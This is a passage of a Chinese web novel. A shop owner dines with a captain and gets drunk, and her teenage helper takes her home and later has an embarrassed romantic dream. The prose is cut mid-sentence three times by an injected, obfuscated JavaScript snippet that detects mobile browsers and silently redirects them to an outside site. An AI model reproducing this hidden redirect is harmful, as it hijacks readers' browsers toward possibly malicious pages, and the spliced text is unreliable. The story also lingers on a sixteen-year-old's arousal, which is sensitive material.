由于是裴清梧亲自救出虎狼窝的，茜桃头一个听得兴致勃勃，听闻那两个黑心肝的家伙险些被打死，当即笑道：“好好好，老天爷开眼，叫他们那般待我们东家！” “就是，师父你真不该拦，让衙役当场把他们打死多好！”沈五娘也高兴。 她阿爷身世和裴清梧很像，父亲早亡，母亲改嫁，留下的东西，差不多都被亲戚们侵吞了，后来卖豆花有了进账，那帮小人还不知廉耻地上门打秋风。 “好，今日喜庆，我当回馈一下咱们铺子的客人，茜桃，昨日，我不是做了一批奶皮酥和茯苓糕么，正好都是新品。” “东家的意思是……” “都拿出来，就说免费送！先到先得，送完就完了！”裴清梧豪横地大手一挥。 负责算账的沈五娘吓了一跳，下意识说了句“那怎么行”，但在心中细细一算，以酥山小集的每日进账，将那些成本赚回来，不过是眨眼的功夫，便也不说什么了。 “好，让大家伙都沾沾喜气。” 裴清梧又说了赵叙请吃饭的事情，说今晚可能要迟一些回来，旁的人倒不说什么，只顾恒追问了一句：“赵校尉只说请吃饭，没说别的么？” “是……只有东家和校尉吗？” 银岚笑着点了点他的额头：“你呀，莫不是嘴里犯了馋，要和东家一起去，沾沾赵校尉的光？” “才、才不是……”顾恒嗫嚅道。 裴清梧也笑：“好了，不过是吃顿饭，要是我迟迟未归，阿恒再来接我也不迟。” “嗯，好。”顾恒用力点了点头。 此次赵叙请客，并不在太白楼，而是秦州另一家知名酒楼，膳福斋。 据说这家掌柜的阿翁，曾经是长安城里有名的厨子，给无数达官贵人掌过勺，甚至还入过皇宫，给女皇陛下做过御膳。 女皇口味挑剔，却独独对他做的红羊枝杖蹄情有独钟。 因为女皇的看重，他也招来了无数嫉妒和陷害，最终，他深感疲惫，回老家秦州开了膳福斋。 有那样的名头，很快，他就被秦州的达官贵人所追捧。 如今斯人已去，名头却还在，尤其他的孙子，也就是如今掌柜的兼主厨，认认真真地传下了他的手艺。 “来了这膳福斋，红羊枝杖蹄自是头一个要吃的，裴东家看看，还想吃什么？” 作为秦州刺史家的郎君，赵叙是贵客，自然有几分面子，让掌柜的给他安排最好的包间，临窗而坐，幽静又雅致。 “嗯……”裴清梧望着菜单犯难。 这菜名一个个文绉绉的，她哪里懂什么是什么？ 一旁的伙计极有眼色，忙上前介绍：“娘子容禀，咱们膳福斋有几道菜可是祖上传下来的绝活儿，轻易别处吃不着！就比如这升平炙，取的是鹿脊最嫩的里脊肉，薄切如纸，用秘料腌了，穿在签子上猛火快烤，外头一层焦香，里头鲜嫩多汁，最宜沾点椒盐入口。” 裴清梧点点头，这名字虽雅，但听着像是烤肉串，比较实在。 伙计见她有兴趣，更来劲了：“那羊皮花丝就更妙了！非是羊皮，乃是用极嫩的小羊羔肉切得细如发丝，用滚烫的羊油快溜，瞬间定型，配着新鲜掐的嫩芽菜同炒，脆生生，鲜灵灵，入口即化，毫无腥膻。” 裴清梧听得微微蹙眉。 这刀工，听着就麻烦。 “还有这丁子香淋脍，乃是用新鲜活鱼片得薄透，冰水镇过，浇上咱们特调的酱汁，里头放了上好的丁子香、花椒、醋、酱，鱼肉入口冰凉滑嫩，酸咸鲜香俱全，最是开胃解腻。” “至于八仙盘……” 伙计刚要继续，裴清梧只觉得那些文绉绉的名字听得头疼，赶紧抬手止住他：“罢了罢了，伙计，你这一串名儿报下来，我听着都累……我就点个实在的，那个升平炙听着不错，再来个乳沦鸡……这是什么？” 她记得菜单上有这道，名字不算太玄乎。 伙计立刻点头：“娘子好眼力，乳沦鸡取的是刚开嗓的小公鸡，用牛乳慢浸至熟，皮滑肉嫩，最是鲜甜，吃时蘸着姜醋碟儿或是椒麻汁儿都极好。” “行，就它了。”裴清梧拍板。 赵叙在一旁忍俊不禁，这裴东家果然爽快，点菜也透着股利落劲儿。 他便接着道：“那我来点一道骆驼羹，清淡些，正好配肉，再温一壶醽醁酒来，要温热的。” 伙计唱了个喏，麻利地下去安排了。 不多时，一道道佳肴便流水般送了上来，香气瞬间盈满雅间。 那升平炙果然名不虚传，小小的鹿肉串烤得焦黄油亮，滋滋冒着小泡，撒着细细的香料末，香气霸道。 乳沦鸡斩得齐整，皮色如淡玉，盛在白瓷盘里，配着碧莹莹的姜蓉和红亮的椒麻汁，看着就清爽。 骆驼羹是用驼峰肉和鸽蛋、菌菇熬炖的清羹，汤色澄澈，鲜香扑鼻。 青瓷酒壶装着温热的醽醁酒，透出温润的碧色。 所有菜品上齐后，伙计小心翼翼捧上来的那道主菜，才真正吸引了裴清梧的目光。 正是传说中的“红羊枝杖蹄”。 那是一个厚重的陶釜，中盛一块硕大的带皮羊腿肉，炖得极其酥烂，那肉呈现出极其诱人的红润光泽，犹如上好红枣般，浓稠油亮的酱汁裹满了每一寸表面，在光 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16319705|181774||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下泛着琥珀般的光晕。 热气蒸腾间，浓郁的复合香气滚滚而来是羊肉本身的醇厚脂香，融合了八角、桂皮、豆蔻、丁香等多种香料长时间焖炖后产生的味道，还有酱香和酒香，以及一丝奇特的甜香，大约是用了红枣或蜂蜜，直往人鼻子里钻，勾得腹中馋虫大动。 “娘子请看，这便是咱家祖传的红羊枝杖蹄。”伙计带着几分自豪，介绍道：“用的是羔羊后腿最丰腴处，先用秘料腌制一日，再以慢火煨了足足四个时辰，您瞧这色泽，红亮如宝石，全靠火候和酱汁功夫，这肉……” 伙计说着，用特制的长柄银匙轻轻在羊肉边缘一碰。 神奇的一幕发生了，那看似完整的羊肉，竟像水波纹般轻轻颤动了一下，边缘的肉丝瞬间便与主体分离，昭示着肉酥烂到了极致，根本无需用力切割。 “这肉入口即化，肥而不腻，瘦肉酥烂如絮，筋膜软糯胶黏，相传当年女皇陛下尝了，赞其‘烂如春风扶柳枝，色如红霞映华杖’，故此得名。”伙计恭敬地退到一边：“娘子、郎君，请慢用。” 那羊肉红亮诱人，裴清梧看着就想吃，和赵叙谦让过一番后，她拿起筷子伸了过去。 赵叙含笑看着她兴致勃勃的样子，也举起了酒杯：“裴东家，大喜事配好滋味，请！” 不必用力，肉丝便顺从地分离，自己送入口中。 甫一入口，极致酥烂的羊肉？便如暖阳下的初雪般悄然化开，牙齿几乎是多余的存在，舌尖只需轻轻一抿，丰腴柔软的肉纤维便彻底分离消融，只留下满口的醇厚脂香。 那酱汁并非浮于表面的浓腻，经过长时间煨炖，早已深深浸透到肉的每一寸肌理深处，层次分明却不杂乱。 皮的部分是另一种惊艳。 软糯粘牙，富含胶质，筋膜则彻底炖成了近乎透明的胶状，入口即化，与酥烂的瘦肉一同滑下喉咙，只余下满口浓郁的肉香。 还在回味时，赵叙的酒杯适时递到面前：“如何？这膳福斋，没叫裴东家失望吧？” 裴清梧眼中光彩更盛，痛快地举起自己的酒杯与之轻轻一碰：“当然没有！” 二人一边吃一边聊，赵叙好奇道：“裴东家，怎么就想着开个点心铺子呢？” “也是一门手艺，浪费掉了多可惜。”裴清梧道：“再说，开点心铺子，得的银钱是自己的，不比依附于人活着强？” “是，是，裴东家说的是。”赵叙笑道，饮了口酒：“这次，也算是给我的一次践行吧。” “怎么了？”联想到赵叙的职业，裴清梧立刻紧张了起来。 “哦，倒不是什么大事，近日吐蕃极不安分，屡屡挑衅，节度使叫我们上下戒严，以后的日子，都要待在军中了。” 裴清梧若有所思：“那，危险吗？” “行军打仗，哪里有不危险的，只能尽量注意着，若是……也只能听天由命了。” 这样聊着喝着，不知不觉间，时间过去了许久，裴清梧有些醉了，看赵叙都重影，吃吃地在那里笑：“咦，赵校尉，怎么现在有两个你呀？” 赵叙轻笑：“裴东家吃酒吃醉了，我这就送你回去。” 话音未落，包间的门便被推开。 顾恒站在门口，叉手道：“不劳动赵校尉，我自来接我的东家回家。” 27. 春心萌动 “阿恒，你怎么来了？” 见顾恒出现，裴清梧想站起身，却因喝了太多酒，脚步一个踉跄，险些摔倒。 赵叙伸手想扶，顾恒的动作却比他更快，三步并作两步，扶住了裴清梧，让她稳稳地靠在了自己怀里。 “东家临走时说了，若是迟迟未归，就让我来接你回去。” 好像自己是说过这一番话…… 裴清梧迷迷糊糊地想着，撑着顾恒的胳膊起身，对着赵叙礼貌地叉手一礼：“既然阿恒来接，奴家便不叨扰赵校尉了。” “还请赵校尉回了军中，也要注意安全。” 赵叙颔首：“多谢裴东家关心。” 裴清梧醉得走不稳当路，顾恒索性让她就这般靠着自己，拿了浅玫红色挑丝双窠云燕氅衣，给裹得严严实实，一丝风都透不进来。 包括赵叙的目光。 “赵校尉请自便。”说着，他便搀了裴清梧出去。 赵叙看着他们的背影，若有所思地一笑。 此时天空飘着小雪，应是秦州城最后一场雪，下完这一场，待那洁白融化，春天就该醒了。 “阿恒，下雪了吗？” 顾恒“嗯”了一声，他来时，专程雇了马车，此刻，雪已在地上积了薄薄的一层，他扶着裴清梧，走得极小心。 到了马车边后，他犹豫了一下，说了句“东家得罪”，而后深吸一口气，手臂穿过裴清梧的膝弯，另一只手稳稳托住她的肩背，小心地将她打横抱起。 就在将她完全揽入怀中的瞬间，一股清幽绵长的冷香倏然袭来。 并非浓烈刺鼻，而是像初雪融于梅蕊，又似新雨浸润竹叶，丝丝缕缕，清泠而惑人，霸道地占据了他的呼吸，撞了他一个满怀。 是之前李引珠赠她的熏香，已经用了小半个月了。 顾恒的心跳猛地漏跳一拍，脚步一顿，喉结上下滚动了一下，才稳住心神，大步走向马车。 车夫早已放下脚凳，掀开了厚实的棉帘。 顾恒抱着裴清梧，略显笨拙地踏上脚凳，躬身钻进车厢，将她轻轻安置在铺着软垫的座位上，自己也紧挨着坐下，这才松了口气。 车厢内空间不大，方才被他刻意忽略的幽香此刻更加清晰可闻，混合着淡淡的酒气，被马车里的炭盆一熏，竟让人隐隐有些头晕。 顾恒看着裴清梧被厚实氅衣裹得严严实实的样子，担心她闷着，犹豫着伸出手，想替她解开颈间的系带，稍稍敞开一些。 手指刚要触及那氅衣的边缘时…… “唔，好热……”裴清梧低低地咕哝一声，秀气的眉头蹙起，仿佛很不舒服。 她醉意朦胧，本能地寻求凉意，昏昏沉沉中感觉到身边有个凉丝丝的物件，便下意识地蹭了过去。 温热柔软的身体带着那扰人的馨香，毫无预兆地贴上了顾恒的臂膀。 他甚至能清晰地感受到那份柔软和曲线带来的压力。 顾恒整个人都瞬间僵住了，像被施了定身法咒一般。 “阿恒……”她含糊不清地唤着，滚烫的脸颊在他微凉的脖颈间蹭了蹭，发出满足的喟叹：“你好凉……” 这句话如同滚烫的火星，瞬间燎遍了顾恒的全身。 他只觉得一股汹涌的热气“轰”地一下从脚底板直冲头顶，耳根和脖颈以肉眼可见的速度变得通红滚烫。 抱着她上车时，还能保持镇定，此刻却像是被烫到一样，手都不知道该往哪里放。 他屏着呼吸，身体绷得像拉满的弓弦，一动不敢动。 女子温软的躯体紧贴着他，异常清晰的触感和萦绕不散的香气简直要了他的命。 理智告诉他应该立刻推开，保持应有的距离，可手臂却像灌了铅般沉重，无论如何也抬不起来。 推得太急，怕惊扰了她，也怕显得自己此地无银； 不推，这温香软玉在怀的煎熬，对于一个从未与女子如此亲近过的少年来说，实在太过酷烈。 他就这样僵直地坐着，任由裴清梧像只寻求舒适的猫儿般半偎在他身侧。 心跳如擂鼓，在寂静的车厢里响得他自己都心惊胆战，每一次呼吸都小心翼翼，连吞咽口水都怕发出声音，额角甚至沁出了一层细密的汗珠——明明刚才在雪地里还觉得寒冷，此刻却燥热难当。 车轱辘碾过薄雪，发出单调的声响。 顾恒垂眸，看着裴清梧因醉酒而泛着嫣红的脸颊依偎在自己肩头，长长的睫毛在眼下投下一小片阴影，呼吸均匀而温热地拂过他的颈侧。 他僵硬地吐出一口气，将目光投向马车窗外被雪色模糊的街景，仿佛这样就能转移那份慌乱和悸动。 指尖无意识地蜷缩了一下，终究只是轻轻地替她掖紧了滑落一丝的氅衣边缘，再也不敢有其他动作。 寒夜的风偶尔撩起厚重的车帘一角，吹进来零星的雪沫。 醉酒的人很不老实，裴清梧扭来扭去的，简直是在挑战顾恒的自控力。 他闭上眼睛，咬紧牙关，握成拳的手背上青筋爆起，极力地克制，却也抵挡不住血液渐渐沸腾，集中到某处他深感羞愧的地方。 好在，很快，马车便在酥山小集的院门口停下。 顾恒给马车夫赏钱，抱着裴清梧，深一脚浅一脚地往后院走去。 铺子里的其余人都吃了晚饭，银岚在清洗着碗筷，五娘清点着今日的进账，于意在厨房练习怎么做龙须酥，石大勇在院子里打拳练功夫，锦娘看着念慈写字。 茜桃第一个发现了顾恒和裴清梧：“呀，阿恒接了东家回来了。” 霎时，所有人都停下了手里的动作，关切地望了过来。 此时的裴清梧，披着那件氅衣，蜷缩在顾恒的怀里，两颊飞起红云，双眼朦胧，旁人一看便知怎么回事。 “东家这是喝了多少酒啊。”银岚无奈道：“小阿恒，你先把东家带回屋，我去煮醒酒汤。” 顾恒点头应下。 他走的步履沉稳，但只有他自己知道，怀中的温软和那冷梅幽香，如同无形的藤蔓缠绕着他，每走一步，都牵扯着紧绷的神经。 进屋后，他用脚轻轻带上门，隔绝了外界的声响与视线。 屋内燃着炭盆，暖意融融，更衬得他方才在雪地里沾染的寒气无处遁形。 他小心翼翼地将裴清梧放在铺着锦褥的床榻上，动作轻得像是在安置一件稀世珍宝。 她软软地陷在柔软的锦被里，睫毛微颤，口中还无意识地呢喃着什么，浅玫红的氅衣衬得她醉后的容颜愈发娇艳。 顾恒深吸一口气，努力平复过快的心跳。 然后解开她颈间的系带，将氅衣轻轻褪下，露出里面的家常胭脂色云纹棉质襦裙。 做完这些，他额角已渗出细汗。 视线下移，落在了那双小巧的绣鞋上。 他知道该替她把鞋袜除去，让她睡得舒服些。 可这个念头一起，方才车厢内的触感和馨香仿佛瞬间复苏，汹涌地冲击着他的理智，令他喉头发紧，指尖微微发颤。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16339076|181774||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到底蹲下身，屏住呼吸，手指伸向那精致的绣鞋。 指尖触碰到柔软的缎面时，仿佛被烫了一下，他几乎是闭着眼睛，用最快的速度解开系带，将两只鞋子脱下。 接下来是罗袜。 当指尖不可避免地触碰到温热细腻的肌肤时，顾恒脑中“嗡”的一声，血液瞬间冲向头顶和四肢百骸。 足踝纤细，肌肤细腻得如同上好的霜雪缎子，带着醉人的暖意。 仅仅是这短暂的肌肤相触，指尖传来的细腻触感便如同火炭，灼烧得他猛地缩回手，心猿意马到了极致，燥热和酥麻感自指尖窜流而上，瞬间席卷全身，让他口干舌燥，几乎喘不上气。 他僵在原地，手也不敢轻易落下，脑中一片空白。 “唔……” 此时，裴清梧不舒服地轻哼一声，脚踝无意识地动了一下。 这细微的动作，瞬间将顾恒从混乱的心绪中拉回现实。 他猛地回过神，一股强烈的羞愧感涌上心头——他这是在干什么？ 慌乱中，他强压下所有的悸动，不再去看那晃眼的雪足，闭着眼，凭着感觉飞快地将她的罗袜褪了下来，生怕再多停留一秒自己就会失控。 两只小巧的玉足终于脱离了束缚，微微蜷着，安静地躺在锦褥上。 做完这一切，顾恒几乎是弹跳着站起身，迅速后退一步，拉开了距离，胸膛剧烈起伏，额角的汗珠滚落下来。 他不敢再看榻上的人，只觉得脸颊滚烫得能煎熟鸡蛋。 就在这时，门被轻轻叩响，茜桃端着冒着热气的铜盆和布巾走了进来：“阿恒，热水来了，我来给东家擦擦脸和手……” 这声音如同天籁，瞬间缓解了顾恒几乎要窒息的尴尬和慌乱。 “有劳茜桃姐姐！”顾恒几乎是抢着说道，声音都有些变调。 话音刚落，他立刻像被火烧了尾巴一样，猛地转过身去，面朝墙壁，背对着床榻和茜桃。 他死死盯着墙壁上模糊的影子，心脏还在砰砰狂跳，几乎要撞破胸腔。 指尖残留的触感、萦绕不散的冷香、还有眼前这避无可避的窘迫……所有的感觉混杂在一起，在他的心湖里掀起了滔天巨浪。 手脚无处安放，连呼吸都变得小心翼翼，茜桃在身后轻柔擦拭的水声，此刻在他耳中也被无限放大。 冰凉坚硬的墙壁成了他此刻唯一的依靠，他只能紧紧地盯着它，仿佛要将上面看穿一个洞。 银岚的醒酒汤也熬好了，端着走了进来，见他这副模样，轻笑道：“这里有我和茜桃就好，小阿恒，你累一天了，快去睡吧。” 顾恒如蒙大赦，几乎是逃也似的冲出了裴清梧的房门，甚至来不及对银岚和茜桃再多说一句“劳烦”。 夜风裹挟着残雪的寒气扑面而来，却丝毫吹不散他心头和身体里那股燎原般的燥热。 黑暗中，他摸索着点亮桌上的油灯，烦躁地扯开衣襟，试图让更多冷空气灌进来。 可那热度像是从骨头缝里钻出来的，丝毫不见消退。 “不行，不能再想了……”他猛地甩了甩头，像是要将那些不合时宜的旖念甩出去。 为了更好地压制住不该有的杂念，他掬起冰冷的井水狠狠泼在脸上，刺骨的寒意让他激灵灵打了个冷战，燥热感似乎被压下去了一丝。 然后匆匆脱掉外衫，几乎是把自己摔在床上，用薄被紧紧裹住头脸，强迫自己入睡。 梦中，他似乎又回到了那辆马车…… 28. 暗潮汹涌 梦里，顾恒觉得自己又回到了那辆摇晃的马车。 车厢狭小，炭盆烧得正旺，暖意融融，空气里浮动着馥郁清冷的梅蕊幽香，比白日里闻到的更加浓郁、更加勾魂摄魄。 裴清梧就在他身侧。 但不再是醉得不省人事的模样，而是眼波流转，带着他从未见过的慵懒与媚意，双颊绯红，樱唇微启，呵气如兰。 那件胭脂色的襦裙不知何时变得有些松散，领口微张，露出一小片细腻如雪的肌肤和精致的锁骨，在昏暗的光线下散发着莹润的暧昧光泽。 她也并没有靠在他肩上，而是微微仰起脸，那双朦胧的醉眼直勾勾地看着他。 里面仿佛盛满了盈盈秋水，又似跳跃着小小的火焰。 “阿恒……”她的声音不再是模糊的咕哝，而是撩人心弦的绵软：“你好凉……真好……” 说着，她的指尖，带着惊人的热度，轻轻点在了他同样滚烫的喉结上。 那一点触碰，如同点燃了引信。 顾恒的大脑“轰”的一声，白日里积累的所有克制、所有慌乱、所有被强行压抑的悸动，在这一刻彻底决堤。 梦中的他忘记了礼数，忘记了身份，忘记了所有该有的顾忌。 他仿佛被那指尖牵引着，俯下身去。 没有推开她，反而伸手，带着近乎虔诚的颤抖，极其轻柔地拂开了她额前几缕被汗水濡湿的青丝。 手指顺着她的鬓角，缓缓滑到那张令他魂牵梦萦的脸颊上，细腻温软的触感，真实得令他心魂俱颤。 裴清梧在他的触碰下，发出一声满足的喟叹，像只寻求安抚的猫。 她非但没有躲闪，反而微微侧过脸，主动将滚烫的脸颊更深地埋入他微凉的掌心，摩挲着，汲取着那份让她舒服的凉意。 这个近乎依赖的动作彻底摧毁了他的防线。 顾恒只觉得一股强大的冲动驱使着他低下头，距离越来越近。 近到能清晰看到她长睫上细小的水汽，近到能感受到她温热急促的呼吸拂过自己的唇畔。 那股冷梅幽香，仿佛化作了实质的藤蔓，将他紧紧缠绕拖拽。 他的唇，终于带着试探般的颤抖，小心翼翼地印在了她光洁饱满的额头。 触感细腻得不可思议，带着醉人的芬芳。 怀中的人微微瑟缩了一下，发出一声模糊的呜咽，却没有丝毫抗拒。 这细微的反应，如同燎原的星火，瞬间点燃了少年心中压抑已久的情感洪流。 梦中的他仿佛被赋予了无尽的勇气。 他的亲吻不再是试探，开始顺着她光洁的额头缓缓下移，带着灼烫的温度，小心翼翼地印在她轻颤的眼睑，再是她挺翘小巧的鼻尖…… 每一次轻柔的触碰，都引起身下人细微的战栗和更紧密的依偎。 最终，他的唇来到了那两瓣樱唇边缘。它们近在咫尺，散发着致命的诱惑气息。 顾恒的心脏擂鼓般狂跳，几乎要破腔而出。 他屏住呼吸，终究是带着一种既渴望又恐惧的虔诚，轻轻地覆压了上去。 唇瓣相接的瞬间，难以言喻的柔软和温热，瞬间席卷了他所有的感官。 那感觉太过美妙，太过震撼，如同初尝禁果般令人神魂颠倒。 起初只是生涩的贴合，紧接着，仿佛遵循着某种本能，他开始笨拙而生涩地吮吸和研磨，贪婪地汲取着那独属于她的甜蜜芬芳。 裴清梧似乎也迷失了，她发出一声模糊的嘤咛，手臂无意识地攀上了他的脖颈，笨拙地回应着。 她的回应像羽毛轻搔，却足以让顾恒浑身血液瞬间沸腾。 他本能地加深了这个吻，舌尖带着试探般的颤抖，小心翼翼地想要撬开她的唇齿，去探索更多隐匿的甘美与芬芳…… 就在唇舌即将交缠，梦境即将滑向更深处那令人窒息的迷离漩涡时—— “咯吱——” 隔壁床上睡着的石大勇翻了个身，本是寻常的动静，此刻，却如同惊雷般穿透了层层叠叠的梦境迷雾，猛地将顾恒从沉沦的深渊拉回现实。 他骤然睁开双眼，心脏狂跳得像是要从喉咙里蹦出来，浑身滚烫，汗水早已浸透了单薄的中衣，黏腻地贴在皮肤上，带来一阵阵羞耻的凉意。 薄被被他无意识地踢到了脚下。 屋内一片漆黑，窗外天色已经透出一丝灰蒙蒙的鱼肚白。 顾恒僵直地躺在床上，眼神空洞地望着屋顶横梁，大口喘息着，胸腔剧烈起伏。 唇齿间仿佛还残留着梦中那不真实的柔软触感和醉人芬芳，指尖也似乎还萦绕着那滑腻温软的肌肤触感…… 然而，残存的梦境碎片与冰冷的现实激烈碰撞，瞬间点燃了他滔天的羞耻感和强烈的罪恶感。 天啊！他都梦见了什么？！ 裴清梧于他而言，有大恩大德，他竟然、竟然在梦中，对她做出了如此、如此不堪入目的幻想！ 马车里的纠缠，唇齿间的厮磨…… 每一个细节都清晰得让他头皮发麻，浑身发烫，却又羞愧得无地自容。 他甚至不敢去回味梦里最后那一刻，唇舌即将交缠时那令人窒息的渴望…… 这样想着，顾恒猛地抬手，狠狠地给了自己一个耳光。 清脆的声音在寂静的清晨格外清晰，脸颊火辣辣的疼，却丝毫无法驱散心头的燥热与混乱。 他像个做错事被当场抓获的孩子，猛地将脸深深埋进枕头里。 石大勇是战场上下来的人，睡觉格外警觉，听见这么一声动静，一个鲤鱼打挺，猛地起身。 见顾恒这般，心里有些疑惑：“阿恒兄弟，你这是怎么了？” “没、没什么……” 他是无意，可顾恒心里有鬼，回答得支支吾吾，羞臊感让他面色赤红如猪肝一般。 石大勇年纪大了，一直待在军中，军营里一帮大老粗，说话荤素不忌，生活沉闷乏味时，会说一些段子调趣。 是以，他虽从未娶妻，却也隐隐猜到了顾恒此时的窘迫，是为了什么。 想想也是，毕竟这小子才十六，血气方刚的年纪，又无断袖之癖，也是正常。 说话间，不由得带上了些打趣之意：“说罢，阿恒兄弟是看上哪家小娘子了？咱们东家心善，你说了，她肯定会上门帮你提亲的。” “没、没有……” 顾恒更加无地自容了。 “哎呀，莫要害羞嘛，我比你年长这么多，吃过的盐比你吃过的饭还多，在我面前还扭捏上了。” 石大勇继续打趣。 顾恒却更害羞了，猛地掀开被子准备起身，低头一看，霎时，一张脸红得要滴血。 明义醒的早，醒来后便哭闹不止，锦娘便将他抱出来，到院子里拍着背哄，一边哄一边踱步。 却在此时，见顾恒蹲在水井边，红着一张脸，用力地清洗床单。 “阿恒，怎么这么早就起来了？还有，这床单怎么是你自己洗。”锦娘抱着孩子，询问道：“搁那儿吧，反正，我攒了一堆要浆洗的衣物。” “不，不……不麻烦锦娘姐了……” 锦娘见顾恒一副心里有鬼的模样，正欲追问，却见穿戴整齐的石大勇也出来了。 说来也怪，原本哭闹不止的明义，见到石大勇的瞬间，便咧开嘴笑了。 石大勇顺势将孩子接了过来，笨手笨脚地抱着哄。 不多时，到了用早饭的时节了。 银岚起来在厨房里忙活，灶膛里的火很快被她麻利地重新引燃，然后熟练地揉起早已发好的面团。 面团被擀开，刷上一层清亮的胡麻油，撒上厚厚的芝麻和一层碾碎的胡椒末，再覆盖上几片切得薄薄的羊肉馅饼。 弄好后，她将几个饼胚贴入预热好的陶炉内壁。 不多时，浓郁的麦香、羊肉油脂的荤香和芝麻胡椒混合的辛香便弥漫开来，勾得人食指大动。 另一边的小灶上，熬煮着一锅浓稠的杏酪粥，选用上好的粳米慢熬，加入捣碎的杏仁浆和少许饴糖，米粒软烂开花，甜香四溢。 她还漉出了一盆凝脂般的酪浆，盛在青釉大碗里，旁边配着一小碟晶莹剔透的槐花蜜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16347422|181774||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和几片新鲜的梨片。 清晨的阳光刚刚爬上窗棂，将院子染上一层浅金。 酥山小集的众人围坐在堂屋的方桌旁，金黄酥脆的古楼子胡饼被切开，露出诱人的羊肉夹层；洁白的酪浆淋上琥珀色的蜜汁，点缀着雪梨片；杏酪粥热气腾腾，散发着温润的谷物与杏仁的甜香。 简单的朝食，却因银岚的手艺显得格外丰盛诱人。 顾恒几乎是最后一个落座的，刻意选了离裴清梧最远的位置，全程低着头，仿佛要把脸埋进面前的粥碗里。 他机械地撕扯着胡饼，往日觉得喷香无比的美食，此刻味同嚼蜡。 脸颊上那隐约的红印还未完全消退，耳根更是始终泛着不自然的潮红。 见状，裴清梧夹了一块酥脆的胡饼边角放到他面前的碟子里，关切地问：“阿恒，看你脸色不大好，早起就红着脸，可是夜里着了凉？还是身子哪里不适？” 她的声音一如既往的温婉，带着真切的担忧。 但那声音落在顾恒耳中，却如同惊雷。 他猛地一颤，手中的勺子“哐当”一声掉进粥碗里，溅起的粥点落在桌面上。 “没、没有！东家，我、我很好！” 他慌忙去捡勺子，头垂得更低，眼神躲闪，根本不敢看裴清梧一眼，连脖子都红透了。 气氛一时有些凝滞和尴尬。 锦娘抱着明义，目光在顾恒和裴清梧之间疑惑地转了转。 银岚也停下了咀嚼。 “哈哈哈！”石大勇适时地发出一阵爽朗的大笑，打破了沉默。 他用力拍了拍顾恒的肩膀，力道大得顾恒一个趔趄。 “东家莫担忧，这小子不是病！是热血上头，年轻人嘛，火力旺！大清早的还得去冲凉水洗床单呢，散散热气就没事了！” 他挤眉弄眼，话里有话。 裴清梧虽不明就里，但听石大勇说得笃定，又见顾恒只是羞臊并非病弱，便也放下心来，只当是少年人偶有的古怪，温声道：“没事就好……快吃吧，饼凉了就硬了。” 顾恒这才松了口气，默默扒拉着粥，心里对石大勇的解围又是感激又是窘迫。 早饭将尽，进来一个婆子通报：“裴东家，我们娘子我来了。” 裴清梧认出是李别驾府上的吴妈妈，急忙起身去迎。 前院，李引珠提着一个小巧精致的檀木提盒，笑盈盈地走了进来。 她今日穿着一身鹅黄的衫裙，像只活泼的黄莺。 “引珠快坐，可用过朝食了？” “用过了用过了。” 李引珠将手中提盒小心地放在桌上，打开盒盖，一股清幽的混合木质香料气息飘散出来，盖过了饭食的余香。 盒内整齐码放着几块色泽沉郁的香饼。 “你前些日子托我调制的香，我弄好了，可是费了好些功夫呢。” 她语气带着几分小得意。 “按你的意思，我觉得鲜花饼的味儿最好做，便用了沉香打底，加入苏合香和安息香，又特意选了品质极好的干玫瑰花瓣和桂花蕊，研磨成细末融入其中，再辅以少许甘松香和丁子香，最后用上好的蜂蜜和枣花蜜调和定型。” 介绍完毕，李引珠取出一小块香饼，放在桌上一只小巧的熏炉里，用火箸轻轻拨燃，再将香饼放在炭火之上，盖上炉盖。 一缕青烟袅袅升起。 起初，是沉香混合着蜜糖的沉稳甜意，很快，烘烤谷物般的温暖焦香弥漫开来，仿佛置身于一个巨大的烤炉旁。 紧接着，被炭火温度催发，浓郁玫瑰芬芳和清甜桂花香涌出，完美交融在一起，中间还跳跃着蜂蜜的甜润和一丝类似酥皮的奶脂香气。 闻着，就勾人馋虫。 “呀！”茜桃第一个惊喜地叫出声：“这可不就是咱们家刚出炉的鲜花饼的味儿吗？太像了！简直神了！” 裴清梧也满是赞叹：“引珠妙手，这正是我想要的味道！” 说起鲜花饼，倒让顾恒想起来他和裴清梧的初见。 她就是用一块鲜花饼，让自己留下的…… 29. 垄断危机 李引珠的香果然好用。 老话说酒香不怕巷子深，但一味地等着酒香飘出去，到底太显被动了。 如今主动点上这么一柱香，隔着几步，就能闻见一股诱人的鲜花饼香，若是此时那人正好腹中空空，便是最好的招牌。 事实证明，的确如此。 酥山小集本就名声不错，又有点心香助力，每日关门后，五娘算账，说是比之前进账又不少。 人一多，就须得更新商品。 思来想去，裴清梧选择了现代福建有名的非遗点心，五香丁香饼。 味道不错，原料这个时代都有。 